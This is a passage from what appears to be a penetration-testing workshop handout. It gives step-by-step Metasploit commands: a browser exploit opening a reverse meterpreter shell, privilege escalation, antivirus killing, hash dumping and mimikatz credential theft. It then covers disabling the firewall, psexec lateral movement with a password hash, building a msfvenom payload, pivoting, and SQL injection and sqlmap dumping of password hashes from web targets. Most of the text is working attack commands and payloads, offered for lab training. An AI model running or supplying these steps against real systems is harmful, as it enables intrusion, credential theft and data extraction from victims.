set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 192.168.11.129

exploit -j
----------------------------------------------------------------------

- Now from the Win7 host, use Internet Explorer 8 to connect to the exploit address (local address)
- given to you by metasploit.

- The address will be something like:

http://192.168.11.129:8080/ie8                                  (Make sure you change this to your ubuntu ip address)
```

```
1268.
1269.
1270.
1271. - This will simulate a victim clicking on your malicious link and being exploited with a browser exploit.
1272.
1273.
1274. ############################
1275. # Client-Side Enumeration #
1276. ############################
1277.
1278.
1279. - You can list the active sessions by typing:
1280. ---------------------------Type This-----------------------------------
1281. sessions -l
1282.
1283.
1284.
1285.
1286. - You can "interact" with any active session by typing sessions -i 3 (replace 3 with the session number you want to interact with)
1287.
1288. ---------------------------Type This-----------------------------------
1289. sessions -i 1
1290.
1291.
1292.
1293.
1294.
1295. - You should now see Metasploit's meterpreter prompt.
```

```
1296.
1297.
1298. ********************************* Figure out who and where you are *********************************
1299.
1300. ---------------------------Type This-----------------------------------
1301. meterpreter> sysinfo
1302.
1303.
1304. meterpreter> getuid
1305.
1306.
1307. meterpreter> ipconfig
1308.
1309.
1310. meterpreter> run post/windows/gather/checkvm
1311.
1312.
1313.
1314.
1315. ********************************* Escalate privileges and get hashes *********************************
1316.
1317.
1318. --Option 1: GetSystem
1319. ---------------------------Type This-----------------------------------
1320. meterpreter> getsystem
1321.
1322. --Option 2:
1323. ---------------------------Type This-----------------------------------
```

```
meterpreter > run post/windows/escalate/getsystem

--Option 3:
---------------------------Type This-----------------------------------
meterpreter> background
back
use post/windows/escalate/droplnk
set SESSION 1
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.11.129                                    (Make sure you change this to your ubuntu ip address)
set LPORT 1234
exploit

--Option 4:
---------------------------Type This-----------------------------------
use exploit/windows/local/bypassuac
set SESSION 1
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.11.129                                    (Make sure you change this to your ubuntu ip address)
set LPORT 12345
exploit

--Option 5:
---------------------------Type This-----------------------------------
use exploit/windows/local/service_permissions
set SESSION 1
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.11.129                                    (Make sure you change this to your ubuntu ip address)
```

```
set LPORT 5555
exploit

--Option 6:
---------------------------Type This-----------------------------------
use exploit/windows/local/trusted_service_path
set SESSION 1
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.11.129                                    (Make sure you change this to your ubuntu ip address)
set LPORT 4567
exploit


--Option 7:
---------------------------Type This-----------------------------------
use exploit/windows/local/ppr_flatten_rec
set SESSION 1
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.11.129                                    (Make sure you change this to your ubuntu ip address)
set LPORT 7777
exploit

--Option 8:
---------------------------Type This-----------------------------------
use exploit/windows/local/ms_ndproxy
set SESSION 1
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.11.129                                    (Make sure you change this to your ubuntu ip address)
```

```
set LPORT 7788
exploit


--Option 9:
---------------------------Type This-----------------------------------
use exploit/windows/local/ask
set SESSION 1
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.11.129                                        (Make sure you change this to your ubuntu ip address)
set LPORT 7799
exploit


meterpreter > getuid
Server username: win7-64-victim\Workshop
meterpreter > getsystem
...got system (via technique 1).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

-------------------------------------------------------

meterpreter> run killav

meterpreter> run post/windows/gather/hashdump

meterpreter > ps                (search for a process running as NT AUTHORITY\SYSTEM)
```

```
1408.
1409. meterpreter > migrate 2800      (your process id WILL NOT be 2800, but make sure you use one that is running at NT AUTHORITY\SYSTEM)
1410.
1411. meterpreter> run post/windows/gather/credentials/credential_collector
1412. ------------------------------------------------------------------
1413.
1414. ####################
1415. # Fix broken PSExec #
1416. ####################
1417. - We use the shell command to get to the Victim Dos command so we can add a registry field.
1418. ---------------------------Type This-----------------------------------
1419. meterpreter > execute -c -H -f cmd -a "/k" -i
1420.
1421.
1422.
1423. - Created a registry field to the Victim computer, this will allow us to access the machine using and exploit via PSEXEC.
1424. ---------------------------Type This-----------------------------------
1425. C:\Windows\system32> reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system  /v LocalAccountTokenFilterPolicy  /t
     REG_DWORD  /d  1
1426.
1427. ---------------------------Type This-----------------------------------
1428. c:\Windows\system32> netsh advfirewall set allprofiles state off
1429.
1430. ********************************* Steal Tokens *********************************
1431. ---------------------------Type This-----------------------------------
1432. meterpreter > getsystem
1433.
1434. meterpreter > use incognito
```

```
1435.
1436. meterpreter > list_tokens -u
1437.
1438. meterpreter > list_tokens -g
1439. ----------Type This----------
1440.
1441. NOTE: These commands will not work as your VM is not connected to Active Directory. They are provided so you can have the syntax.
1442.
1443. ----------Type This----------
1444. meterpreter > impersonate_token                    <-- choose who you want to impersonate but be sure to use 2 slashes in the
     name (ex: impersonate_token domain\\user)
1445.
1446. meterpreter> getuid
1447.
1448.
1449. ********** Stealing credentials and certificates **********
1450. - NOTE: Most of the stuff after 'kerberos' DOES NOT work, but is given here so you know the correct syntax to use when connected to
     AD or dealing with smart/CAC cards.
1451. ----------Type This----------
1452. meterpreter > getsystem
1453.
1454. meterpreter > load mimikatz
1455.
1456. meterpreter > kerberos
1457.
1458.
1459. NOTE: These commands will not work as your VM is not connected to Active Directory. They are provided so you can have the syntax.
1460.
```

```
1461.
1462. meterpreter > mimikatz_command -f sekurlsa::logonPasswords -a "full"
1463.
1464. meterpreter > msv                                                    <-- Your AD password
1465.
1466. meterpreter > livessp                                                <-- Your Windows8 password
1467.
1468. meterpreter > ssp                                                    <-- Your outlook password
1469.
1470. meterpreter > tspkg                                                  <-- Your AD password
1471.
1472. meterpreter > wdigest                                                <-- Your AD password
1473.
1474. meterpreter > mimikatz_command -f crypto::listStores
1475.
1476. meterpreter > mimikatz_command -f crypto::listCertificates
1477.
1478. meterpreter > mimikatz_command -f crypto::exportCertificates CERT_SYSTEM_STORE_CURRENT_USER
1479.
1480. meterpreter > mimikatz_command -f crypto::patchcapi
1481.
1482. meterpreter> search -d <directory> -f <file-pattern>
1483.
1484.
1485. ********************************* Enumerate the host you are on *********************************
1486. ---------------------------Type This-----------------------------------
1487. meterpreter > run post/windows/gather/enum_applications
1488.
```

```
meterpreter > run post/windows/gather/enum_logged_on_users

meterpreter > run post/windows/gather/usb_history

meterpreter > run post/windows/gather/enum_shares

meterpreter > run post/windows/gather/enum_snmp

meterpreter> reg enumkey -k HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run



********************************* Lateral Movement ******************************


Now we can run the PSEXEC exploit.
-- Option 1:
---------------------------Type This-----------------------------------
use exploit/windows/smb/psexec

set SMBUser Workshop

set SMBPass password

set RHOST 192.168.11.130

set payload windows/meterpreter/reverse_tcp

```

```
set LHOST 192.168.11.129

set LPORT 2345

exploit




-- Option 2:
---------------------------Type This-----------------------------------
use exploit/windows/smb/psexec

set SMBUser Workshop

set SMBPass aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c

set payload windows/meterpreter/reverse_tcp

set RHOST 192.168.11.130

set LHOST 192.168.11.129

set LPORT 5678

exploit


```

```
1545. ##################
1546. # Day 2 Homework #
1547. ##################
1548.
1549. ------------------------------------------------------------------------------
1550.
1551. Day 2 Homework:
1552. Send Ivana an email ivana{a-t}strategicsec{d-o-t}.com with a word document that contains screenshots of everything that we have
      covered so far. Make the subject of the email "First Name - Last Name - Metasploit Day 2" (ex: Joseph - McCray - Metasploit Day 2).
1553.
1554. Please take screenshots of you doing the first 10 videos in this playlist and add them to this document.
1555. https://www.youtube.com/playlist?list=PL1512BD72E7C9FFCA
1556.
1557. Also be sure to name the attached file "FirstName.LastName.MetasploitDay2.docx" (Joseph.McCray.MetasploitDay2.docx).
1558.
1559. NOTE: This is what is required in order to receive your certificate of completion and CPEs.
1560. ------------------------------------------------------------------------------
1561.
1562.
1563.
1564. ################################################
1565. # Section 3: Writing Meterpreter Resource Files #
1566. ################################################
1567.
1568.
1569. - In this lab we are going to create a binary payload via msfpayload then craft a .rc file that automates the
1570. process to setup the multi handler listener.
1571.
```

```
- We will start off by creating the msfvenom
---------------------------Type This-----------------------------------
sudo /sbin/iptables -F
    strategicsec

cd ~/toolz/metasploit

./msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows LHOST=192.168.11.129 -f exe >
/home/infosecaddicts/Desktop/meterpreter.exe

sudo chmod 777 /home/infosecaddicts/Desktop/meterpreter.exe

- In the syntax above, we set the payload, set the local host address to connect back too, then redirected the
malicious payload to our desktop by issuing the correct path. We will also change the permissions on it to 777 just
to make it easy for us to use WinSCP to copy it over to our Win7 machine.

- Next we are going to create a .rc (resource file) file that will automate the process for setting up a listener.

- Navigate to the /home/infosecaddicts/toolz/metasploit/ so that when you create the .rc file you can save it in the
working directory.


- Type 'touch meterpreter.rc' to create the file.
---------------------------Type This-----------------------------------
touch meterpreter.rc

- Type 'echo use exploit/multi/handler  >> meterpreter.rc' to be appended to the .rc file.
echo use exploit/multi/handler  >> meterpreter.rc
```

```
1599.
1600. - Type 'echo set PAYLOAD windows/meterpreter/reverse_tcp  >> meterpreter.rc' to be appended to the .rc file.
1601. echo set PAYLOAD windows/meterpreter/reverse_tcp  >> meterpreter.rc
1602.
1603. - Type 'echo set LHOST 192.168.11.129>> meterpreter.rc' to be appended to the .rc file.
1604. echo set LHOST 192.168.11.129>> meterpreter.rc
1605.
1606. - Type 'echo exploit -j -z >> meterpreter.rc' to be appended to the .rc file.
1607. echo exploit -j -z >> meterpreter.rc
1608.
1609. - Then cat the meterpreter.rc out to verify that everything in the file looks ok.
1610. cat meterpreter.rc
1611.
1612. Now at the command prompt, type 'sudo ./msfconsole -r meterpreter.rc' to start the msfconsole module and call/run
1613.
1614. the 'meterpreter.rc' file.
1615. ./msfconsole -r meterpreter.rc
1616.
1617. - Once the msfconsole starts, the meterpreter resource file is executed and the listener is automatically setup.  It is now listening
     for a connection!
1618.
1619. - Now you must transfer the malicious meterpreter payload to the victim machine (you may do so by any means necessary, we have
     physical access so we transferred it via usb.
1620.
1621. - Click on the payload and create the meterpreter session.
1622.
1623. - Type 'sessions -l' to list your open sessions, and 'sessions -i 1' to indicate that you want to interact with
1624.
```

```
meterpreter session under id 1.

exit -y




**********
* Getting Serious About .rc files *
**********

----------Type This----------
touch /home/infosecaddicts/toolz/metasploit/autorun-walk-through.rc

echo run getcountermeasure >> /home/infosecaddicts/toolz/metasploit/autorun-walk-through.rc

echo run winenum >> /home/infosecaddicts/toolz/metasploit/autorun-walk-through.rc

echo run post/windows/gather/enum_applications >> /home/infosecaddicts/toolz/metasploit/autorun-walk-through.rc

echo run post/windows/gather/enum_logged_on_users >> /home/infosecaddicts/toolz/metasploit/autorun-walk-through.rc

echo run post/windows/gather/checkvm >> /home/infosecaddicts/toolz/metasploit/autorun-walk-through.rc



- Ok, that was fun. Now let's take a quick look at the .rc file we just created.
----------Type This----------
```

```
cat /home/infosecaddicts/toolz/metasploit/autorun-walk-through.rc



touch /home/infosecaddicts/toolz/metasploit/old-faithful-ie8.rc

echo use exploit/windows/browser/ie_cgenericelement_uaf >> /home/infosecaddicts/toolz/metasploit/old-faithful-ie8.rc

echo set ExitOnSession true >> /home/infosecaddicts/toolz/metasploit/old-faithful-ie8.rc

echo set URIPATH /ie8 >> /home/infosecaddicts/toolz/metasploit/old-faithful-ie8.rc

echo set PAYLOAD windows/meterpreter/reverse_tcp >> /home/infosecaddicts/toolz/metasploit/old-faithful-ie8.rc

echo set LHOST 192.168.11.129 >> /home/infosecaddicts/toolz/metasploit/old-faithful-ie8.rc



echo set AutoRunScript multi_console_command -rc /home/infosecaddicts/toolz/metasploit/autorun-walk-through.rc >>
/home/infosecaddicts/toolz/metasploit/old-faithful-ie8.rc

echo exploit -j -z >> /home/infosecaddicts/toolz/metasploit/old-faithful-ie8.rc



- Ok, that was more fun than the previous one. Now let's take a quick look at the .rc file we just created.
```

```
1680. ---------------------------Type This-----------------------------------
1681. cat /home/infosecaddicts/toolz/metasploit/autorun-walk-through.rc
1682.
1683. cat /home/infosecaddicts/toolz/metasploit/old-faithful-ie8.rc
1684.
1685. - Alright, enough already. Let's run this thing.
1686. ./msfconsole -r old-faithful-ie8.rc
1687.
1688.
1689.
1690. ##############################################
1691. # Section 4: Custom Meterpreter Scripting #
1692. ##############################################
1693. ---------------------------Type This-----------------------------------
1694. cd ~
1695. mkdir binaries
1696. cd ~/binaries
1697. wget https://s3.amazonaws.com/infosecaddictsfiles/wce.exe
1698. wget https://s3.amazonaws.com/infosecaddictsfiles/nc.exe
1699. wget https://s3.amazonaws.com/infosecaddictsfiles/mimikatz.exe
1700. ------------------------------------------------------------------------
1701. - In this lab we will be looking at how you can use some custom Meterpreter scripts to do more than what Metasploit
1702.
1703. can offer.  This will also show you the flexibility of the Meterpreter scripts.
1704.
1705. - We're going to start off with a simple Hello World script first.
1706.
1707. ---------------------------Type This-----------------------------------
```

```
echo 'print_status("Hello World")' > /home/infosecaddicts/toolz/metasploit/scripts/meterpreter/helloworld.rb
-------------------------------------------------------------------------

- This next portion is up to you, exploit your test box and end up with a Meterpreter shell.

- Lets test out our helloworld.rb Meterpreter script.

---------------------------Type This-----------------------------------
meterpreter> run helloworld


- So far so good, now we can build on this base.  Lets add a couple more API calls to the script.

- Open /home/infosecaddicts/toolz/metasploit/scripts/meterpreter/helloworld.rb in your favorite and add following

line.
---------------------------Type This-----------------------------------
vi /home/infosecaddicts/toolz/metasploit/scripts/meterpreter/helloworld.rb


---------------------------Type This-----------------------------------
print_error("this is an error!")
print_line("this is a line")

- Now run the script:

meterpreter> run helloworld

```

```
1736.
1737. - Now that we have the basics down, we're going to do something a little more exciting.
1738. - The architecture to follow when creating these scripts goes as follows:
1739.
1740. def getinfo(session)
1741.         begin
1742.             <stuff goes here>
1743.         rescue ::Exception => e
1744.             <stuff goes here>
1745.         end
1746. end
1747.
1748. ---------------------------------------------------------------------
1749. - Copy and paste the following code into our helloworld.rb script:
1750. --------------------------Type This----------------------------------
1751. def getinfo(session)
1752.     begin
1753.        sysnfo = session.sys.config.sysinfo
1754.        runpriv = session.sys.config.getuid
1755.        print_status("Getting system information ...")
1756.        print_status("The target machine OS is #{sysnfo['OS']}")
1757.        print_status("The computer name is #{'Computer'} ")
1758.        print_status("Script running as #{runpriv}")
1759.     rescue ::Exception => e
1760.       print_error("The following error was encountered #{e}")
1761.    end
1762. end
1763.
```

```
getinfo(client)
--------------------------------------------------------------------------------


- Now run the script:
---------------------------Type This-----------------------------------
meterpreter> run helloworld


- We can expand it by adding actual system commands to the script, lets look at how we can do this.

---------------------------Type This-----------------------------------
def list_exec(session,cmdlst)
    print_status("Running Command List ...")
    r=''
    session.response_timeout=120
    cmdlst.each do |cmd|
       begin
          print_status "running command #{cmd}"
          r = session.sys.process.execute("cmd.exe /c #{cmd}", nil, {'Hidden' => true, 'Channelized' => true})
          while(d = r.channel.read)

             print_status("#{d}")
          end
          r.channel.close
          r.close
       rescue ::Exception => e
          print_error("Error Running Command #{cmd}: #{e.class} #{e}")
```

```
        end
    end
 end

commands = [ "set",
    "ipconfig  /all",
    "arp -a"]

list_exec(client,commands)
---------------------------------------------------------------------


- Run the script:
---------------------------Type This-----------------------------------
meterpreter> run helloworld


Note: Add all of the commands from the script below to your helloworld.rb script:
https://raw.githubusercontent.com/rapid7/metasploit-framework/master/scripts/meterpreter/winenum.rb


---------------------------------------------------------------------------


##########################################
# Section 3: Tunneling For Fun and Profit #
##########################################
```

```
1820.
1821. ****************************Enumerate the network you are on ***************************
1822.
1823. meterpreter > run netenum
1824.
1825. meterpreter > run netenum -ps -r 192.168.200.0/24
1826.
1827. meterpreter > run post/windows/gather/arp_scanner RHOSTS=192.168.200.0/24
1828.
1829.
1830.
1831. ******************************** Set up your Pivot *********************************
1832.
1833. meterpreter > background
1834.                                                    <-- background the session
1835.         You want to get back to this prompt:
1836.         msf exploit(handler) > back                <--- you need to get to main msf> prompt
1837.
1838.
1839.
1840.         sessions -l                                <--find a session you want to pivot through (note the IP and session number)
1841.
1842.         Now set up Pivot with a route add
1843.         ---------------------------------
1844.
1845. route print
1846.
```

```
route add CHANGEME-TO-YOUR-WIN7-IP 255.255.255.0 1                    <-- Use correct session id (2), it may be 3, or 4 (make sure you are on msf> prommpt, not meterpreter)


route print                                             <----- verify new route

*****************************Scan through your Pivot ******************************

use auxiliary/scanner/portscan/tcp                      <-- Run aux modules through your pivot

set THREADS 10

set RHOSTS 192.168.200.0/24             <-- Keep changing this IP and re-running the scan until you find something you want to attack

set PORTS 445

run


#####################################
# Socks Tunneling with Proxychains #
#####################################
--- Open a duplicate putty session to your Ubuntu host

sudo apt-get install -y proxychains
    strategicsec

sudo vi /etc/proxychains.conf                           <--- Make sure that last line of the file is: socks4  127.0.0.1 1080
```

```
1874.
1875.         Comment out the proxy_dns, change the 9050 (tor port) to the metasploit socks proxy port (1080) and save it.
1876.         socks4  127.0.0.1 1080
1877.
1878. **************************Set up a Socks Proxy through your Pivot ************************
1879.
1880.
1881. use auxiliary/server/socks4a
1882.
1883. set SRVHOST 127.0.0.1
1884.
1885. set SRVPORT 1080
1886.
1887. run
1888.
1889.         --- Go back to your other putty session with the meterpreter shell
1890. cd ~
1891.
1892. proxychains nmap -sT -PN -vv -sV --script=smb-os-discovery.nse -p 445 192.168.200.0/24          <--- This is going to be really slow
1893.
1894. proxychains nmap -sT -PN -n -sV -p 21,22,23,25,80,110,139,443,1433,1521,3306,3389,8080,10000 192.168.200.0/24           <--- This is
     going to be really slow
1895.
1896.
1897.         ---close the duplicate putty session to your Ubuntu host
1898.
1899. ###################################
1900. # Basic: Web Application Testing #
```

```
1901. ##################################
1902.
1903. Most people are going to tell you reference the OWASP Testing guide.
1904. https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents
1905.
1906. I'm not a fan of it for the purpose of actual testing. It's good for defining the scope of an assessment, and defining attacks, but
      not very good for actually attacking a website.
1907.
1908.
1909. The key to doing a Web App Assessment is to ask yourself the 3 web questions on every page in the site.
1910.
1911.     1. Does the website talk to a DB?
1912.         - Look for parameter passing (ex: site.com/page.php?id=4)
1913.         - If yes - try SQL Injection
1914.
1915.     2. Can I or someone else see what I type?
1916.         - If yes - try XSS
1917.
1918.     3. Does the page reference a file?
1919.         - If yes - try LFI/RFI
1920.
1921. Let's start with some manual testing against 54.245.184.121
1922.
1923.
1924. Start here:
1925. http://54.245.184.121/
1926.
1927.
```

```
There's no parameter passing on the home page so the answer to question 1 is NO.
There is however a search box in the top right of the webpage, so the answer to question 2 is YES.

Try an XSS in the search box on the home page:
<script>alert(123);</script>

Doing this gives us the following in the address bar:
http://54.245.184.121/BasicSearch.aspx?Word=<script>alert(123);</script>

Ok, so we've verified that there is XSS in the search box.

Let's move on to the search box in the left of the page.

Let's give the newsletter signup box a shot

Moving on to the login page.
http://54.245.184.121/login.aspx

I entered a single quote (') for both the user name and the password. I got the following error:

Let's try throwing a single quote (') in there:

http://54.245.184.121/bookdetail.aspx?id=2'


I get the following error:

Unclosed quotation mark after the character string ''.
```

```
Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.

Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark after the character string ''.









##############################################################################################
# SQL Injection                                                                              #
# https://s3.amazonaws.com/infosecaddictsfiles/1-Intro_To_SQL_Intection.pptx #
##############################################################################################


- Another quick way to test for SQLI is to remove the paramter value


##############################
# Error-Based SQL Injection #
##############################
http://54.245.184.121/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
http://54.245.184.121/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
```

```
http://54.245.184.121/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
http://54.245.184.121/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
http://54.245.184.121/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
http://54.245.184.121/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))--     NOTE: "N" - just means to keep going until you run out of databases
http://54.245.184.121/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
http://54.245.184.121/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
http://54.245.184.121/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--



##############################
# Union-Based SQL Injection #
##############################
http://54.245.184.121/bookdetail.aspx?id=2 order by 100--
http://54.245.184.121/bookdetail.aspx?id=2 order by 50--
http://54.245.184.121/bookdetail.aspx?id=2 order by 25--
http://54.245.184.121/bookdetail.aspx?id=2 order by 10--
http://54.245.184.121/bookdetail.aspx?id=2 order by 5--
http://54.245.184.121/bookdetail.aspx?id=2 order by 6--
http://54.245.184.121/bookdetail.aspx?id=2 order by 7--
http://54.245.184.121/bookdetail.aspx?id=2 order by 8--
http://54.245.184.121/bookdetail.aspx?id=2 order by 9--
http://54.245.184.121/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--

    We are using a union select statement because we are joining the developer's query with one of our own.
    Reference:
```

```
    http://www.techonthenet.com/sql/union.php
    The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
    It removes duplicate rows between the various SELECT statements.

    Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.

http://54.245.184.121/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--

    Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.

http://54.245.184.121/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
http://54.245.184.121/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
http://54.245.184.121/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
http://54.245.184.121/bookdetail.aspx?id=-2 union all select
1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--




- Another way is to see if you can get the backend to perform an arithmetic function
http://54.245.184.121/bookdetail.aspx?id=(2)
http://54.245.184.121/bookdetail.aspx?id=(4-2)
http://54.245.184.121/bookdetail.aspx?id=(4-1)



http://54.245.184.121/bookdetail.aspx?id=2 or 1=1--
```

```
http://54.245.184.121/bookdetail.aspx?id=2 or 1=2--
http://54.245.184.121/bookdetail.aspx?id=1*1
http://54.245.184.121/bookdetail.aspx?id=2 or 1 >-1#
http://54.245.184.121/bookdetail.aspx?id=2 or 1<99#
http://54.245.184.121/bookdetail.aspx?id=2 or 1<>1#
http://54.245.184.121/bookdetail.aspx?id=2 or 2 != 3--
http://54.245.184.121/bookdetail.aspx?id=2 &0#



http://54.245.184.121/bookdetail.aspx?id=2 and 1=1--
http://54.245.184.121/bookdetail.aspx?id=2 and 1=2--
http://54.245.184.121/bookdetail.aspx?id=2 and user='joe' and 1=1--
http://54.245.184.121/bookdetail.aspx?id=2 and user='dbo' and 1=1--



################################
# Blind SQL Injection Testing #
################################
Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER

3 - Total Characters
http://54.245.184.121/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
http://54.245.184.121/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
http://54.245.184.121/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'--      (Ok, the username is 3 chars long - it
waited 10 seconds)

```

```
Let's go for a quick check to see if it's DBO
http://54.245.184.121/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--

Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun.

D  - 1st Character
http://54.245.184.121/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--
http://54.245.184.121/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
http://54.245.184.121/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
http://54.245.184.121/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'--  (Ok, first
letter is a 100 which is the letter 'd' - it waited 10 seconds)

B - 2nd Character
http://54.245.184.121/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'--   Ok, good it
waited for 10 seconds
http://54.245.184.121/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'--   Ok, good it
waited for 10 seconds

O - 3rd Character
http://54.245.184.121/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'--   Ok, good it
waited for 10 seconds
http://54.245.184.121/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
http://54.245.184.121/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'--      Ok, good it
waited for 10 seconds
http://54.245.184.121/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'--      Ok, good it
waited for 10 seconds
http://54.245.184.121/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
http://54.245.184.121/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--
```

```
http://54.245.184.121/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds




 ##########
# Sqlmap #
##########
If you want to see how we automate all of the SQL Injection attacks you can log into your StrategicSec-Ubuntu-VM and run the following commands:

cd /home/strategicsec/toolz/sqlmap-dev/
python sqlmap.py -u "http://54.245.184.121/bookdetail.aspx?id=2" -b
python sqlmap.py -u "http://54.245.184.121/bookdetail.aspx?id=2" --current-user
python sqlmap.py -u "http://54.245.184.121/bookdetail.aspx?id=2" --current-db
python sqlmap.py -u "http://54.245.184.121/bookdetail.aspx?id=2" --dbs
python sqlmap.py -u "http://54.245.184.121/bookdetail.aspx?id=2" -D BookApp --tables
python sqlmap.py -u "http://54.245.184.121/bookdetail.aspx?id=2" -D BookApp -T BOOKMASTER --columns
python sqlmap.py -u "http://54.245.184.121/bookdetail.aspx?id=2" -D BookApp -T sysdiagrams --columns
python sqlmap.py -u "http://54.245.184.121/bookdetail.aspx?id=2" -D BookApp -T BOOKMASTER --columns --dump
python sqlmap.py -u "http://54.245.184.121/bookdetail.aspx?id=2" -D BookApp -T sysdiagrams --columns --dump
python sqlmap.py -u "http://54.245.184.121/bookdetail.aspx?id=2" --users --passwords

 ########################
# Attacking PHP/MySQL #
########################
```

```
2112.
2113. Go to LAMP Target homepage
2114. http://45.63.104.73/
2115.
2116.
2117.
2118. Clicking on the Acer Link:
2119. http://45.63.104.73/acre2.php?lap=acer
2120.
2121.     - Found parameter passing (answer yes to question 1)
2122.     - Insert ' to test for SQLI
2123.
2124. http://45.63.104.73/acre2.php?lap=acer'
2125.
2126.
2127. Page returns the following error:
2128. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near
     ''acer''' at line 1
2129.
2130.
2131.
2132. In order to perform union-based sql injection - we must first determine the number of columns in this query.
2133. We do this using the ORDER BY
2134. http://45.63.104.73/acre2.php?lap=acer' order by 100-- +
2135.
2136. Page returns the following error:
2137. Unknown column '100' in 'order clause'
2138.
```

```
2139.
2140.
2141. http://45.63.104.73/acre2.php?lap=acer' order by 50-- +
2142.
2143. Page returns the following error:
2144. Unknown column '50' in 'order clause'
2145.
2146.
2147.
2148. http://45.63.104.73/acre2.php?lap=acer' order by 25-- +
2149. Page returns the following error:
2150. Unknown column '25' in 'order clause'
2151.
2152.
2153.
2154. http://45.63.104.73/acre2.php?lap=acer' order by 12-- +
2155.
2156. Page returns the following error:
2157. Unknown column '50' in 'order clause'
2158.
2159.
2160.
2161. http://45.63.104.73/acre2.php?lap=acer' order by 6-- +
2162. ---Valid page returned for 5 and 6...error on 7 so we know there are 6 columns
2163.
2164.
2165.
2166. Now we build out the union all select statement with the correct number of columns
```

```
2167.
2168. Reference:
2169. http://www.techonthenet.com/sql/union.php
2170.
2171.
2172.
2173. http://45.63.104.73/acre2.php?lap=acer' union all select 1,2,3,4,5,6-- +
2174.
2175.
2176.
2177. Now we negate the parameter value 'acer' by turning into the word 'null':
2178. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,4,5,6-- j
2179.
2180. We see that a 4 and a 5 are on the screen. These are the columns that will echo back data
2181.
2182.
2183. Use a cheat sheet for syntax:
2184. http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
2185.
2186.
2187. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),5,6-- j
2188.
2189. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),version(),6-- j
2190.
2191. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@version,6-- +
2192.
2193. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@datadir,6-- +
2194.
```

```
2195.
2196. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user,password,6 from mysql.user -- a
2197.
2198.
2199.
2200.
